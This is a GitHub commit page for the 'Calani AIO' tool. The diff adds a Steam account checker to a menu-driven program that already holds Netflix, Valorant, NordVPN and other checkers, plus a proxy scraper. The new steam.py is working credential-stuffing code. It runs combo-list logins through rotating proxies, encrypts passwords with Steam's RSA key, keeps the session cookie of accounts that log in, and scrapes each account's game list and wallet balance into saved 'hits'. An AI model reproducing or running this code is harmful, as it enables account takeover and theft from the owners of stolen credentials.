Skip to content
This repository has been archived by the owner on Feb 23, 2024. It is now read-only.

Commit

Permalink
0.2.0
Browse files Browse the repository at this point in the history
  • Loading branch information
Mickey758 committed Nov 23, 2021
1 parent 8f10208 commit 3107f14
Show file tree
Hide file tree
Showing 10 changed files with 327 additions and 13 deletions.
10 changes: 8 additions & 2 deletions main.py
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@ class checker:
from modules.functions import *
from modules.start import starter,modules_list
import modules.tools.proxychecker as proxychecker
import modules.tools.proxyscraper as proxyscraper

load_config()

Expand Down Expand Up @@ -79,6 +80,7 @@ def modules():
[{cyan}12{reset}] Honeygain
[{cyan}13{reset}] DiscordVM
[{cyan}14{reset}] Netflix
[{cyan}15{reset}] Steam
[{cyan}>{reset}] Selected Modules: {str([x.title() for x in selected_modules]).replace("'","").replace("', '",", ")}
[{cyan}A{reset}] Add All Modules
Expand All @@ -100,6 +102,7 @@ def modules():
elif option == "12": selected_modules.append("honeygain") if "honeygain" not in selected_modules else selected_modules.remove("honeygain")
elif option == "13": selected_modules.append("discordvm") if "discordvm" not in selected_modules else selected_modules.remove("discordvm")
elif option == "14": selected_modules.append("netflix") if "netflix" not in selected_modules else selected_modules.remove("netflix")
elif option == "15": selected_modules.append("steam") if "steam" not in selected_modules else selected_modules.remove("steam")
elif option == "s":
if selected_modules != []:
starter(selected_modules)
Expand All @@ -109,7 +112,8 @@ def modules():
sleep(1)
elif option == "a":
for module in modules_list:
selected_modules.append(module)
if module not in selected_modules:
selected_modules.append(module)
elif option == "x":
return
def settings():
Expand Down Expand Up @@ -143,10 +147,12 @@ def tools():
print("\n\n")
print(f"""
[{cyan}1{reset}] Proxy Checker
[{cyan}2{reset}] Proxy Scraper
[{cyan}X{reset}] Back""")
option = input(f" [{cyan}>{reset}] ").lower()
if option == "1": proxychecker.start()
elif option == "2": set_title("Calani AIO | Proxy Scraper | MickeyYe#0003");proxyscraper.start()
elif option == "x": return

if __name__ == "__main__":
Expand All @@ -161,4 +167,4 @@ def tools():
print(f" [{red}>{reset}] Your version is outdated!")
print(f" [{cyan}>{reset}] Find the latest version of Calani AIO here: https://github.com/Mickey758/Calani-AIO/releases")
input(f" [{cyan}>{reset}] Press enter to ignore")
home()
home()
105 changes: 105 additions & 0 deletions modules/checkers/steam.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,105 @@
from __main__ import checker
from modules.functions import bad_proxy, log,save,set_proxy
from json import loads
from requests import get,post
from time import time
from rsa import encrypt,PublicKey
from base64 import b64encode
from urllib.parse import quote

def check(email:str,password:str):
retries = 0
if "@" in email:
username = email.split("@")[0]
else:
username = email
email = "-"
while retries != checker.retries:
proxy = set_proxy()
t_1 = int(time())
data_1 = f"donotcache={t_1}&username={username}"
data_2 = "donotcache={}&password={}&username={}&twofactorcode=&emailauth=&loginfriendlyname=&captchagid=-1&captcha_text=&emailsteamid=&rsatimestamp={}&remember_login=false"
length_1 = len(data_1)
header_1 = {
"content-type":"application/x-www-form-urlencoded",
"Accept": "*/*" ,
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "fa,en;q=0.9,en-US;q=0.8" ,
"Connection": "keep-alive" ,
"Content-Length": str(length_1),
"Host": "store.steampowered.com" ,
"Origin": "https://store.steampowered.com" ,
"Referer": "https://store.steampowered.com/login/?redir=&redir_ssl=1" ,
"Sec-Fetch-Dest": "empty" ,
"Sec-Fetch-Mode": "cors" ,
"Sec-Fetch-Site": "same-origin" ,
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36" ,
"X-Requested-With": "XMLHttpRequest"
}
header_2 = {
"content-type": "application/x-www-form-urlencoded",
"Accept": "*/*" ,
"Accept-Encoding": "gzip, deflate, br" ,
"Accept-Language": "fa,en;q=0.9,en-US;q=0.8" ,
"Connection": "keep-alive" ,
"Content-Length": "",
"Host": "store.steampowered.com" ,
"Origin": "https://store.steampowered.com" ,
"Referer": "https://store.steampowered.com/login/?redir=&redir_ssl=1" ,
"Sec-Fetch-Dest": "empty" ,
"Sec-Fetch-Mode": "cors" ,
"Sec-Fetch-Site": "same-origin" ,
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36" ,
"X-Requested-With": "XMLHttpRequest"
}
header_3 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
"Pragma": "no-cache",
"Accept": "*/*"
}
try:
keys = post("https://store.steampowered.com/login/getrsakey",data=data_1,headers=header_1,proxies=set_proxy(proxy),timeout=checker.timeout).json()
k1 = keys["publickey_mod"]
k2 = keys["publickey_exp"]
t_2 = keys["timestamp"]

encrypted_password = quote(b64encode(encrypt(password.encode(),PublicKey(int(k1,16), int(k2,16)))))
length_2 = data_2.format(t_1,encrypted_password,username,t_2)
header_2["Content-Length"] = str(length_2)

response = post("https://store.steampowered.com/login/dologin/",data=data_2.format(t_1,encrypted_password,username,t_2),headers=header_2,proxies=set_proxy(proxy),timeout=checker.timeout)
if "\"The account name or password that you have entered is incorrect.\"," in response.text:
retries += 1
elif "\",\"emailauth_needed\":true," in response.text:
if not checker.cui:
log("custom",username+":"+password,"Steam")
save("Steam","custom",checker.time,username+":"+password+f" | Email: {email}")
checker.custom += 1
checker.cpm += 1
return
elif "\"success\":true," in response.text:
cookie = response.cookies["steamLoginSecure"]
steamid = response.json()["transfer_parameters"]["steamid"]

games = []
games_list = loads(get(f"https://steamcommunity.com/profiles/{steamid}/games/?tab=all",headers=header_3,cookies={"steamLoginSecure":cookie},proxies=set_proxy(proxy),timeout=checker.timeout).text.split("var rgGames = ")[1].split(";")[0])
for game in games_list:
games.append(game["name"])

balance = get("https://store.steampowered.com/account/",cookies={"steamLoginSecure":cookie},proxies=set_proxy(proxy),timeout=checker.timeout).text.split('<div class="accountData price">')[1].split("</div>")[0]
if not checker.cui:
log("good",username+":"+password,"Steam")
save("Steam","good",checker.time,username+":"+password+f" | Games: {games} | Balance: {balance}")
checker.good += 1
checker.cpm += 1
return
else:
raise
except:
bad_proxy(proxy)
checker.errors += 1
if not checker.cui:
log("bad",email+":"+password,"Steam")
checker.bad += 1
checker.cpm += 1
return
2 changes: 1 addition & 1 deletion modules/checkers/valorant.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
from __main__ import checker,lock
from __main__ import checker
from requests import Session
from modules.functions import bad_proxy, log,save,set_proxy

Expand Down
1 change: 0 additions & 1 deletion modules/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,6 @@
from colorama import Fore,init
from os import makedirs, listdir
from json import load, dump
init(autoreset=True)

default = {"proxy_type":"http","proxy_timeout":5,"threads":200,"retries":1,"print_mode":"cui"}

Expand Down
2 changes: 0 additions & 2 deletions modules/functions.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,8 +11,6 @@
from console.utils import set_title
from os import makedirs

init(autoreset=True)

yellow = Fore.YELLOW
green = Fore.GREEN
reset = Fore.RESET
Expand Down
6 changes: 4 additions & 2 deletions modules/start.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
from time import sleep
from multiprocessing.dummy import Pool
from threading import Thread
from colorama import Fore,init
from colorama import Fore

red = Fore.RED
green = Fore.GREEN
Expand All @@ -24,6 +24,7 @@
from modules.checkers import honeygain
from modules.checkers import discordvm
from modules.checkers import netflix
from modules.checkers import steam

modules_list = {
"nordvpn":nordvpn,
Expand All @@ -39,7 +40,8 @@
"valorant":valorant,
"honeygain":honeygain,
"discordvm":discordvm,
"netflix":netflix
"netflix":netflix,
"steam":steam
}

def starter(modules_lst:list):
Expand Down
1 change: 0 additions & 1 deletion modules/tools/proxychecker.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,6 @@
green = Fore.GREEN
cyan = Fore.CYAN
reset = Fore.RESET
init(autoreset=True)

def start():
clear()
Expand Down
Loading

0 comments on commit 3107f14

Please sign in to comment.